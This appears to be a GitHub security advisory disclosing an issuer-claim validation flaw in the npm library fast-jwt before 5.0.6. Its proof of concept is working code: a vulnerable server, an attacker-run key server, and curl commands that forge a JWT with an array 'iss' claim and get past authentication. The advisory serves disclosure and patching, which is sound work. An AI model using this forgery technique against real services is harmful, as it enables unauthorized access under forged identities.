GHSA-gm45-q3v2-6cf8 Fast-JWT Improperly Validates iss Claims

• npm fast-jwt: < 5.0.6 → fixed in 5.0.6

Summary The `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9. Details The `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks. PoC Take a server running the following code: ```js const express = require('express') const buildJwks = require('get-jwks') const { createVerifier } = require('fast-jwt') const jwks = buildJwks({ providerDiscovery: true }); const keyFetcher = async (jwt) => jwks.getPublicKey({ kid: jwt.header.kid, alg: jwt.header.alg, domain: jwt.payload.iss }); const jwtVerifier = createVerifier({ key: keyFetcher, allowedIss: 'https://valid-iss', }); const app = express(); const port = 3000; app.use(express.json()); async function verifyToken(req, res, next) { const headerAuth = req.headers.authorization.split(' ') let token = ''; if (headerAuth.length > 1) { token = headerAuth[1]; } const payload = await jwtVerifier(token); req.decoded = payload; next(); } // Endpoint to check if you are auth or not app.get('/auth', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server: ```js const { generateKeyPairSync } = require('crypto'); const express = require('express'); const pem2jwk = require('pem2jwk'); const jwt = require('jsonwebtoken'); const app = express(); const port = 3001; const host = `http://localhost:${port}/`; const { publicKey, privateKey } = generateKeyPairSync("rsa", { modulusLength: 4096, publicKeyEncoding: { type: 'pkcs1', format: 'pem' }, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, }, ); const jwk = pem2jwk(publicKey); app.use(express.json()); // Endpoint to create token app.post('/create-token', (req, res) => { const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' }); res.send(token); }); app.get('/.well-known/jwks.json', (req, res) => { return res.json({ keys: [{ ...jwk, alg: 'RS256', use: 'sig', }] }); }) app.all('*', (req, res) => { return res.json({ "issuer": host, "jwks_uri": host + '.well-known/jwks.json' }); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` ```bash export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}') curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN" ``` Impact Applications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier. Solution Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.